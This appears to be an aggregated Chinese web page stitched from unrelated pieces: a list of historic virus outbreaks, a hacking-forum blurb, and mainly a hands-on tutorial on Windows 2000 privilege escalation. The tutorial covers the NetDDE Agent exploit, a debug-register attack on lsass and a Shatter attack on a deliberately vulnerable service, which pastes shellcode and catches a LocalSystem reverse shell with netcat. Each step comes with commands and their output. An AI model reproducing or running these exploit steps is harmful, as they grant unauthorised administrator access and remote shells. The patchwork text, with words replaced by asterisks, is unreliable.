内容导读:导航目录:1、历史上有哪些著名黑客病毒灾难?2、黑客契约的网站简介3、NetDDEAgent是什么东西?4、计算机病毒,黑客的由来与他们之间的关系历史上有哪些著名黑客病毒灾难?NO.1“CIH病毒”爆发年限:...……
导航目录:
历史上有哪些著名黑客病毒灾难?
NO.1 “CIH病毒” 爆发年限:1998年6月 CIH病毒(1998年)是一位名叫陈盈豪的台湾大学生所编写的,从中国台湾传入大陆地区的。CIH的载体是一个名为“ICQ中文Ch_at模块”的工具,并以热门盗版光盘游戏如“古墓奇兵”或Windows95/98为媒介,经互联网各网站互相转载,使其迅速传播。 CIH病毒属文件型病毒,其别名有Win95.CIH、Spacefiller、Win32.CIH、PE_CIH,它主要感染Windows95/98下的可执行文件(PE格式,Portable Executable Format),目前的版本不感染DOS以及WIN 3.X(NE格式,Windows and OS/2 Windows 3.1 execution File Format)下的可执行文件,并且在Win NT中无效。其发展过程经历了v1.0,v1.1、v1.2、v1.3、v1.4总共5个版本。 损失估计:全球约5亿美元 NO.2 “梅利莎(Melissa)” 爆发年限:1999年3月 梅利莎(1999年)是通过微软的Outlook电子邮件软件,向用户通讯簿名单中的50位联系人发送邮件来传播自身。该邮件包含以下这句话:“这就是你请求的文档,不要给别人看”,此外夹带一个Word文档附件。而单击这个文件,就会使病毒感染主机并且重复自我复制。 1999年3月26日,星期五,W97M/梅利莎登上了全球各地报纸的头版。估计数字显示,这个Word宏脚本病毒感染了全球15%~20%的商用PC。病毒传播速度之快令英特尔公司(Intel)、微软公司(Microsoft,下称微软)、以及其他许多使用Outlook软件的公司措手不及,防止损害,他们被迫关闭整个电子邮件系统。 损失估计:全球约3亿——6亿美元 NO.3 “爱虫(Iloveyou)” 爆发年限:2000年 爱虫(2000年)是通过Outlook电子邮件系统传播,邮件主题为“I Love You”,包含附件“Love-Letter-for-you.txt.vbs”。打开病毒附件后,该病毒会自动向通讯簿中的所有电子邮件地址发送病毒邮件副本,阻塞邮件服务器,同时还感染扩展名为.VBS、.HTA、.JPG、.MP3等十二种数据文件。 新“爱虫”(Vbs.Newlove)病毒同爱虫(Vbs.loveletter)病毒一样,通过outlook传播,打开病毒邮件附件您会观察到计算机的硬盘灯狂闪,系统速度显著变慢,计算机中出现大量的扩展名为vbs的文件。所有快捷方式被改变为与系统目录下wscript.exe建立关联,进一步消耗系统资源,造成系统崩溃。 损失估计:全球超过100亿美元 NO.4 “红色代码(CodeRed)” 爆发年限:2001年7月 红色代码(2001年)是一种计算机蠕虫病毒,能够通过 *** 服务器和互联网进行传播。2001年7月13日,红色代码从 *** 服务器上传播开来。它是专门针对运行微软互联网信息服务软件的 *** 服务器来进行攻击。极具讽刺意味的是,在此之前的六月中旬,微软曾经发布了一个补丁,来修补这个漏洞。 被它感染后,遭受攻击的主机所控制的 *** 站点上会显示这样的信息:“你好!欢迎光临``随后病毒便会主动寻找其他易受攻击的主机进行感染。这个行为持续大约20天,之后它便对某些特定IP地址发起拒绝服务(DoS)攻击。不到一周感染了近40万台服务器,100万台计算机受到感染。 NO.5 “冲击波(Blaster)” 爆发年限:2003年夏季 冲击波(2003年)于2003年8月12日被瑞星全球反病毒监测网率先截获。病毒运行时会不停地利用IP扫描技术寻找 *** 上系统为Win2K或XP的计算机,找到后利用DCOM RPC缓冲区漏洞攻击该系统,一旦成功,病毒体将会被传送到对方计算机中进行感染,使系统操作异常、不停重启、甚至导致系统崩溃。 另外该病毒还会对微软的一个升级网站进行拒绝服务攻击,导致该网站堵塞,使用户无法通过该网站升级系统。在8月16日以后,该病毒还会使被攻击的系统丧失更新该漏洞补丁的能力。 损失估计:数百亿美元 NO.6 “巨无霸(Sobig)” 爆发年限:2003年8月 巨无霸(2003年)是通过局域网传播,查找局域网上的所有计算机,并试图将自身写入网上各计算机的启动目录中以进行自启动。该病毒一旦运行,在计算机联网的状态下,就会自动每隔两小时到某一指定网址下载病毒,同时它会查找电脑硬盘上所有邮件地址,向这些地址发送标题如:"Re: Movies"、"Re: Sample"等字样的病毒邮件进行邮件传播,该病毒还会每隔两小时到指定网址下载病毒,并将用户的隐私发到指定的邮箱。 由于邮件内容的一部分是来自于被感染电脑中的资料,因此有可能泄漏用户的机密文件,特别是对利用局域网办公的企事业单位,更好使用 *** 版杀毒软件以防止重要资料被窃取! 损失估计:50亿——100亿美元 NO.7 “MyDoom” 爆发年限:2004年1月 MyDoom(2004年)是一例比“巨无霸病毒”更厉害的病毒体,在2004年1月26日爆发,在高峰时期,导致 *** 加载时间减慢50%以上。它会自动生成病毒文件,修改注册表,通过电子邮件进行传播,并且它还会尝试从多个URL下载并执行一个后门程序,如下载成功会将其保存在Windows文件夹中,名称为winvpn32.exe。该后门程序允许恶意用户远程访问被感染的计算机。 病毒使用自身的 *** TP引擎向外发送带毒电子邮件,进行传播。病毒会从注册表的相关键值下和多种扩展名的文件中搜集邮件地址,病毒还会按照一些制定的规则自己声称邮件地址,并向这些地址发送带毒电子邮件。病毒同时会略去还有特定字符的邮件地址。 损失估计:百亿美元 NO.8 “震荡波(Sasser)” 爆发年限:2004年4月 震荡波(2004年)于2004年4月30日爆发,短短的时间内就给全球造成了数千万美元的损失,也让所有人记住了04年的4月,该病毒为I-Worm/Sasser.a的第三方改造版本。与该病毒以前的版本相同,也是通过微软的最新LSASS漏洞进行传播,我们及时提醒广大用户及时下载微软的补丁程序来预防该病毒的侵害。如果在纯DOS环境下执行病毒文件,会显示出谴责美国大兵的英文语句。 震荡波感染的系统包括Windows 2000、Windows Server 2003和Windows XP,病毒运行后会巧妙的将自身复制为%WinDir%napatch.exe,随机在 *** 上搜索机器,向远程计算机的445端口发送包含后门程序的非法数据,远程计算机如果存在MS04-011漏洞,将会自动运行后门程序,打开后门端口9996。 损失估计:5亿——10亿美元 NO.9 “熊猫烧香(Nimaya)” 爆发年限:2006年 熊猫烧香(2006年)准确的说是在06年年底开始大规模爆发,以Worm.WhBoy.h为例,由Delphi工具编写,能够终止大量的反病毒软件和防火墙软件进程,病毒会删除扩展名为gho的文件,使用户无法使用ghost软件恢复操作系统。“熊猫烧香”感染系统的*.exe、*.com、*.pif、*.src、*.html、*.asp文件,导致用户一打开这些网页文件,IE自动连接到指定病毒网址中下载病毒。在硬盘各分区下生成文件autorun.inf和setup.exe.病毒还可通过U盘和移动硬盘等进行传播,并且利用Windows系统的自动播放功能来运行。 “熊猫烧香”还可以修改注册表启动项,被感染的文件图标变成“熊猫烧香”的图案。病毒还可以通过共享文件夹、系统弱口令等多种方式进行传播。 损失估计:上亿美元 NO.10 “网游大盗” 爆发年限:2007年 网游大盗(2007年)是一例专门盗取 *** 游戏帐号和密码的病毒,其变种wm是典型品种。英文名为Trojan/PSW.GamePass.jws的“网游大盗”变种jws是“网游大盗”木马家族最新变种之一,采用VisualC++编写,并经过加壳处理。“网游大盗”变种jws运行后,会将自我复制到Windows目录下,自我注册为“Windows_Down”系统服务,实现开机自启。 该病毒会盗取包括“魔兽世界”、“完美世界”、“征途”、等多款网游玩家的帐户和密码,并且会下载其它病毒到本地运行。玩家计算机一旦中毒,就可能导致游戏帐号、装备等丢失。在07年轰动一时,网游玩家提心吊胆。 损失估计:全球约26亿美元
黑客契约的网站简介
很多人对“黑客”一词,有很大的偏见,其实呢,“黑客”原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。正是他们的存在,才会让我们的电脑系统和 *** 更加的安全。而那些搞破坏或者恶作剧的,并不能称之为“黑客”,他们只是“骇客”而已。
而手机端的黑客和电脑端的黑客也有些不一样的地方,虽然智能手机也可以实现检测一些网站的安全,但这些还是建立在电脑端知识的基础之上。
什么是手机端的黑客呢?手机端的黑客就是把一些恶意收费的内容,破解为免费的来用;为一些服务提供商寻找漏洞的存在,而不是拿着手机检测别人电脑的安全。当然,随着无线 *** 的成熟和手机操作系统越来越强大,或许有那么一天,手机端和电脑端会融合在一体的。 网站主要是社区论坛,分类技术、玩机、娱乐和版务四个大的版块。
技术版块是用来学习交流技术用的,主要有手机端的破解技术、电脑端的 *** 安全资讯和知识、 *** 资讯和技巧知识及无线建站知识,给广大网友提供一个学习的平台,大家一起分享、交流技术,共同提高。
玩机频道在智能机的操作系统上有塞班二、三版,有微软的WM版、JAVA版、摩托的LINUX版和国产机版;还有专门的游戏、音乐、电子书和软游的汉化破解开发论坛,网友们可以学习到更多的知识,下载到更多的软件、游戏、电子书、音乐和主题资源,让网友们的玩机更炫。
娱乐频道分为娱乐灌水、投诉 *** 、校园驿站、贴图 *** 、文学墨香和商品自由交易市场,让大家在学习技术的同时,还可以娱乐一把,甚至是交易一些虚拟或实体的物品。
版务区主要是版主们交流场所,以便版主们更好的管理论坛,让论坛更加和谐的发展下去。 书城频道是2010年才上的,还在完善和发展之中。
NetDDE Agent是什么东西?
NetDDE Agent",是一个"NDDEAgnt"类的window class,它的功能在于协助DDE Server程序及DDE Client程序之间的数据交换。由于它由Winlogon创建,这个Window的进程就以Local System的权限运行在登录用户的Desktop上,只不过用户看不到它而已。
"NetDDE Agent"还有另外一个辅助功能:当DDE Client试图连接到一个Trueted的DDE Share时,如果"NetDDE Agent"发现创建这个DDE Share的DDE Server尚未运行,它会主动启动这个Server。记住"NetDDE Agent"进程是具有Local System权限的,所以它启动Server没有一点问题。
根据DilDog的研究,这个隐藏式的"NetDDE Agent"就是一个缺口(Vulerability)!还记得Window操作系统中的函数SendMessage()吗?登录用户可以利用这个函数向Desktop上的任何Window发送Message,即使这个Window不属于当前登录用户。所以黑客在以一般用户的身份登录后,可以用SendMessage()发送一个WM_COPYDATA message给"NetDDE Agent",这个Message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容:
1。 一个Trusted DDE Share的名字,比如说Chat$;
2。 一个用于启动DDE Server的命令,如果"NetDDE Agent"发现创建Chat$的DDE
Server尚未运行,就根据这个命令来启动DDE Server。但是黑客可以任选一个命 令来伪造,比如说“Net Localgroup Administrators /Add 阿猫”----这里的阿 猫已经是合法的一般用户了;
3。 一些固定不变的字节。DilDog认为是这些字节应该是随机产生的,而不应该固定不变。我个人理解这些字节是用于向"NetDDE Agent"或Network DDE DSDM证明WM_COPYDATA message是由合法程序(而不是黑客程序)发出的,所以它们应该随机变化而不让黑客轻易得到。
当"NDDEAgnt"接收到WM_COPYDATA message时,它核对后会发现第三部分的字节正确无误,而且Trusted DDE Share确实存在,於是它就执行黑客命令,由于"NDDEAgnt"具有Local System权限,它可以顺利地让阿猫同志光荣地加入本地Administrator Group。
DilDog在文章中还附带了一个Exploit程序netddemsg,我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地Administrators Group的:
/*
先以我的用户账号“moda”登录dallas。
看看本地administrators Group有哪些成员:
*/
D:\MyJob\securitylab\netddemsg\Debugnet localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
-----------------------------------------------------------------------------
a_mao
Administrator
The command completed successfully.
/*
本地administrators Group目前只有两个成员,Administrator和a_mao。试着把“moda”加入到本地administrators Group中:
*/
D:\MyJob\securitylab\netddemsg\Debugnet localgroup administrators /add moda
System error 5 has occurred.
Access is denied.
/*
我的权限显然不够,所以得到error 5。
运行DilDog的Exploit程序,同时附带上我的黑客命令:
*/
D:\MyJob\securitylab\netddemsg\Debugnetddemsg -s Chat$
net localgroup administrators /add moda
/*
程序运行结束,让我们看看“moda”是否加入本地administrators Group:
*/
D:\MyJob\securitylab\netddemsg\Debug
D:\MyJob\securitylab\netddemsg\Debugnet localgroup
administrators
Alias name administrators
Comment Administrators have complete and unrestricted
access to the
Members
-----------------------------------------------------------------------------
a_mao
Administrator
moda
The command completed successfully.
D:\MyJob\securitylab\netddemsg\Debug
/*
我也光荣地加入了本地administrators Group
*/
利用Windows 2000/Intel中的Debug Register来提升权限:
我是在Georgi Guninski的个人网站)上看到这篇文章:
“Elevation of Privileges with debug registers on Win2k”,介绍如何利用Intel X86中的Debug Register来获取Local Administrator的权限。我的运气不太好,用文章中的Exploit程序Pipe3试了几次也不能成功,不过觉得利用Debug Register来攻击是个新的思路,所以就在这里顺便介绍一下。
Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。也就是说,你在一般用户进程中下一个绊子(就是设置一个断点),没准会把某个系统进程或者服务进程(Service)绊一跤;这一跤要是把系统/服务进程摔垮了,导致它停止执行的话,你没准就可以伪造该进程的Named Pipe;然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时,黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local SSystem的权限。
文章中的Exploit程序Pipe3(请从网下载)就是按照这个思路设计的:它要整垮的进程是lsass,所以必须先找几个lsass进程将要运行的指令的地址,以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路,我们才好在那条路上设绊脚石);然后Pipe3以一般用户的权限运行程序Calc(计算器),并在其中设置断点,因为这断点的地址是在lsass运行的途径上,所以它们并不会影响Calc进程;过不了多久lsass就会有报告“SingleStep Exception”并让你选择是中断lsass运行还是Debug lsass进程;选择中断lsass以便关闭lsass拥有的Named Pipe----\ '5c.\pipe\lsass",这样Pipe3就可以伪造一个同名的Named Pipe;。。。。。。这以后的几步我想就不用重复了,大家都应该清楚。下面说说我Exploit的情况:
先用WinDbg找到lsass可能要运行的指令地址,lsass有多个Thread,我从不同Thread的ESP寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让Pipe3在这些地址分别设断点,总有那么一个地址会成功地中断lsass程,并且产生一个Warning对话框(Dialog Box)报告“SingleStep Exception”。当我选择中断进程后,lsass退出执行,Pipe3报告“LSA died!”:
D:\MyJob\securitylab\pipe3\Debugpipe3
Fun with debug registers. Written by Georgi Guninskivvdr started: lsasspid=240 breakp=5ffebc
LSA died!
Stop writing to pipe
start \\.\pipe\lsass
Failed to create named pipe:
\\.\pipe\lsass
由于lsass是重要的系统进程,它的终止运行将使系统在一分钟内自动Shutdown。另外我们注意到,\\.\pipe\lsass并没有成功地创建。为什么呢?我抢在系统Shutdown之前运行了一下Pipelist:
D:\MyJob\securitylab\pipe3\Debugpipelist
PipeList v1.01
by Mark Russinovich
Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 2 -1
ntsvcs 49 -1
scerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
。。。。。。。。。。。。。。。。
很奇怪,虽然lsass进程终止运行,但是它的Named PPipe还在----这大概是Pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系,我没能深入研究这个问题,不过哪位朋友要是用Pipe3成功地实现Exploit的话,不要忘记告诉我一声!
不过话又说回来,这种利用Debug Register来终止lsass进程的 *** ----即使成功的话,也太暴露了:整个系统居然会Shutdown!任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了,正如我轻轻的来”,要象伟大的诗人兼武林高手徐自摩那样施展一把轻功,让傻瓜管理员根本发现不了,当然耳朵厉害的管理员还是会发现的----“谁?有黑客!抓黑客!”。水平达到更高境界的黑客应该是能够羚羊挂角、踏雪无痕的,这就不是我能评论的了。
利用Win32 API的设计缺陷提升权限:
几个星期以前我在计算机安全网站上看到两篇新发表的文章:、,作者是Chris
Paget(网名Foon),我建议大家去下面的网址读一下他的原著:
。
这两篇文章详细地介绍了如何利用Win32 API的一个设计缺陷来提升普通用户的权限。我们前面也提到,普通用户的进程可以向他/她的Desktop上任何Window发送Message,让目标Window执行用户指定的操作,比如说COPY/PASTE(拷贝/沾贴)、定时运算(Timer)等等。这个Window可能属于用户自己,也可能属于Local System(象"NetDDE Agent")----这样问题就来了:
---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的,所以我们要算上“它”)在他的Desktop上先找到一个属于Local System的Window,我们给这个Window起一个名字叫WINDOWXYZ,这个WINDOWXYZ上更好有能接收沾贴内容的Control(比如说 EDIT);
---- 用户可以把黑客码用“WM_PASTE”(Message之一)沾贴到WINDOWXYZ的Control里;
---- 用户找到被沾贴的黑客码在WINDOWXYZ进程中的地址;
---- 用户然后发送“WM_TIMER”(Message之二)给WINDOWXYZ,同时把黑客码地址作为参数一并传给WINDOWXYZ,WINDOWXYZ於是执行定时运算,开始运行黑客码。这些 黑客码是以Local System的权限运行的,所以普通用户的权限被成功地提升。
---- 实际上,根据FOON的文章,即使普通用户在其Desktop上找不到属于Local System的Window,他也有办法提升权限:他可以利用Tool Help函数得到属于 Local System的进程及其Thread,只要其中任何一个Thread能处理Window的Message,用户就可以用函数PostThreadMessage()向这个属于Local System的Thread发送Message,然后就。。。如此这般。。。地提升权限。不过我没有时间 亲手试验过这种 *** 。
这两篇文章引起了很大的反响,其中最引人注意的是Microsoft的答复,Micorsoft说这种 *** 老早就有人提出来了,Nothing New!又说根本就不应该在普通用户的Desktop上创建属于Local System的Window,编程序的人应该避免这样的设计。但实际上隐藏式的窗口"NetDDE Agent"就出自于Microsoft的设计,它属于Local System但是却运行在登录用户的Desktop上,看来Microsoft是知法犯法啊!
我觉得这个缺陷就象不安全的函数strcpy一样,C语言在实现strcpy函数时有漏洞(函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块,缓冲区的溢出就会覆盖系统管理信息),於是大家寄希望于程序员能够避免使用函数strcpy。现在Microsoft也承认在普通用户的Desktop上创建一个Window是危险的,所以它也寄希望于大家编程时避免使用这样的设计。
下面我专门编写了一个服务进程“SimpleService”来演示一下Microsoft的这个设计缺陷。SimpleService以Local System的权限运行,它打开一个Named Pipe然后等待Named Pipe Client与它联络;普通用户接着登录计算机并运行程序“Client”,“Client”是一个Named Pipe Client;它向SimpleService的Named Pipe随便写一些字节,於是SimpleService就在登录用户的Desktop上产生一个对话窗口(Dialog Box)。普通用户最后利用FOON的攻击程序Shatter攻击这个对话窗口来获得“Local System”的权限。
因为SimpleService程序太长,所以我只节选了关键的部分让大家参考:
====================SimpleService====================
#define SZAPPNAME _T("Simple")
#define SZSERVICENAME _T("SimpleService")
#define SZSERVICEDISPLAYNAME _T("Simple Service")
#define SZDEPENDENCIES _T("")
typedef struct DLGPARAM{
UINT numOfHit;
TCHAR *msg;
} DlgParam;
// internal function prototypes
static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
// SimpleService.cpp : Defines the entry point for the
application.
//
HINSTANCE hAppInstance;
DlgParam m_dlgParam;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
......
}
void WINAPI service_main()
{
......
}
VOID WINAPI service_ctrl(DWORD dwCtrlCode)
{
......
}
BOOL WINAPI ControlHandler ( DWORD dwCtrlType )
{
......
}
HANDLE hServerStopEvent = NULL;
VOID ServiceStart ()
{
......
......
hPipe = CreateNamedPipe(
lpszPipeName , // name of pipe
FILE_FLAG_OVERLAPPED
PIPE_ACCESS_DUPLEX, // pipe open mode
PIPE_TYPE_MESSAGE
PIPE_READMODE_MESSAGE
PIPE_WAIT, // pipe IO type
1, // number of instances
0, // size of outbuf
file://(0 == allocate as necessary)
0, // size of inbuf
1000, // default time-out value
sa); // security attributes
......
......
while ( 1 )
{
......
......
ConnectNamedPipe(hPipe, os);
......
......
bRet = ReadFile(
hPipe, // file to read from
szIn, // address of input buffer
sizeof(szIn), // number of bytes to read
cbRead, // number of bytes read
os); // overlapped stuff, not needed
......
......
_stprintf(szOut, _T("Please check the Dialog Box"));
_stprintf(szOut1, _T("Eacho Back! [%s]"), szIn);
......
......
bRet = WriteFile(
hPipe, // file to write to
szOut, // address of output buffer
sizeof(szOut), // number of bytes to write
cbWritten, // number of bytes written
os); // overlapped stuff, not needed
......
......
DisconnectNamedPipe(hPipe);
m_dlgParam.numOfHit++;
m_dlgParam.msg = szOut1;
/*
在登录用户的Desktop上创建一个窗口
*/
int result = DialogBoxParam(hAppInstance,
MAKEINTRESOURCE(IDD_SVCMSG),
NULL,
(DLGPROC) DialogProc,
(LPARAM) m_dlgParam);
}
cleanup:
......
......
}
VOID ServiceStop()
{
if ( hServerStopEvent )
SetEvent(hServerStopEvent);
}
#define SIZEOFBUF 40
/*
Window的Message Handler
*/
BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
DlgParam* l_pDlgParam = (DlgParam*) lParam;
CHAR tempBuf[SIZEOFBUF];
switch (uMsg)
{
case WM_INITDIALOG:
{
HWND hNumVisit = GetDlgItem(hwnd, IDC_NUMHIT); /*限定Edit Control的尺寸(Size)为3*/
SendMessage( hNumVisit, EM_LIMITTEXT, (WPARAM) 3,
(LPARAM)0);
_itoa(l_pDlgParam-numOfHit, tempBuf,10);
SendMessage(hNumVisit, WM_SETTEXT, (WPARAM)
0,(LPARAM)tempBuf);
HWND hMsg = GetDlgItem(hwnd, IDC_MSG);
/*限定Edit Control的尺寸(Size)为40*/
SendMessage( hMsg, EM_LIMITTEXT, (WPARAM) SIZEOFBUF,
(LPARAM)0);
SendMessage( hMsg, WM_SETTEXT, (WPARAM) 0,
(LPARAM) l_pDlgParam-msg );
SetForegroundWindow(hwnd);
return FALSE;
}
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_OK:
EndDialog(hwnd, IDC_OK);
return FALSE;
default:
return FALSE;
}
}
}
return FALSE;
}
===============================================
下面是程序Client.c,非常简单,它的功能仅仅是向“\\.\pipe\simple”发送几个字节:
=======================Client========================
// client.cpp : Defines the entry point for the console
application.
//
#include
#include
#include
#include
int main(int argc, char* argv[])
{
char inbuf[80];
char outbuf[80];
DWORD bytesRead;
BOOL ret;
LPSTR lpszPipeName = "\\\\.\\pipe\\simple";
LPSTR lpszString = "World";
strcpy( outbuf, lpszString );
ret = CallNamedPipeA(lpszPipeName,
outbuf, sizeof(outbuf),
inbuf, sizeof(inbuf),
bytesRead, NMPWAIT_WAIT_FOREVER);
if (!ret) {
printf("client: CallNamedPipe failed for %d\n",
GetLastError());
exit(1);
}
printf("client: received: %s\n", inbuf);
return 0;
}
==================================================
FOON编写了一个攻击工具Shatter,大家可以参考他的文章来使用这个工具,而且他的网站上还有Shatter的源程序。这个程序专门攻击象SimpleService这样会创建Window的服务进程,它首先把Window中Edit Control的尺寸(Size)扩大,然后把可执行的黑客码沾贴到Edit中,这样就把黑客码拷贝到这个Window进程的内存中了----很Cool吧!接下来我们就要寻找黑客码在内存中的地址,FOON是用Windbg去寻找这个地址的,详情请参考他的文章。最后Shatter向Window进程发送一个定时执行Message----“WM_TIMER”,迫使Window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成,它产生一个远程的cmd shell联结回到Client机器上,所以我们可以用鼎鼎有名的netcat程序与它联络。
我现在来演示一下使用Shatter攻击SimpleService的过程,看看普通用户“moda”是如何通过Shatter提升权限的:
先以普通用户“moda”登录,看看本地Administrators组当前的成员:
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
D:\MyJob\tool\netcatnet localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
-----------------------------------------------------------------------------
Administrator
The command completed successfully.
本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。
D:\MyJob\tool\netcatnet localgroup administrators /add moda
System error 5 has occurred.
Access is denied.
很惨呀,得了一个“Access is denied.”的错误。
下面运行程序Client,向SimpleService发送几个字节,於是SimpleService在普通用户“moda”的Desktop上产生一个对话框:
这个对话框上有两个Edit Controls,一个对应着“Number Of Hit”,这里输出SimpleService的Named Pipe被访问的次数;一个对应着“Message Back”,这里输出SimpleService的Message。这两个Edit都可以被攻击利用,不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter:
之一步:我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到,“Message Back”的Edit只允许40个char,而jill的黑客码显然超过了这个长度,所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT,把它的尺寸扩大到0xffffffff(见下图)。
第二步:把FOON改编的jill黑客码拷贝到Clipboard上,然后往Edit发送WM_PASTE,你可以看到Edit中马上堆积了一长串乱七八糟的字符,这就是jill黑客码。
第三步:利用Windbg去寻找jill黑客码在Window内存中的地址,这个过程FOON已经讲得很清楚了,所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。
第四步:另外打开一个Dos窗口运行netcat,我们准备与打入敌营的侦察兵jill联络:
D:\MyJob\tool\netcat
D:\MyJob\tool\netcatnc -lp 123
第五步:向Edit发送WM_TIMER,让Window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容,它输出一些版权信息。
D:\MyJob\tool\netcat
D:\MyJob\tool\netcatnc -lp 123
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
第六步: 现在你就可以通过netcat与Window进程中的cmd Shell联系,可以向它发送命令,从它那里得到命令运行结果。这个cmd Shell具有Local System的权限,所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中:
D:\WINNT\system32net localgroup administrators /add moda
net localgroup administrators /add moda
The command completed successfully.
D:\WINNT\system32net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
-----------------------------------------------------------------------------
Administrator moda
The command completed successfully.
D:\WINNT\system32
D:\WINNT\system32
以上就是我演示Microsoft这个缺陷的过程,虽说我有意把SimpleServic设计得易于黑客攻击,但实际上还有不少的流行的程序也是犯了同样的错误,象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等,它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。
计算机病毒,黑客的由来与他们之间的关系
病毒指的是不需要通过人操作,进行大批量的复制、修改、删除操作的代码。黑客指的是通过编写代码或者通过软件的漏洞进入公司系统或者个人系统中牟取利益的人。黑客可以通过病毒获利,病毒不一定是获利的,可以是一心搞破坏的~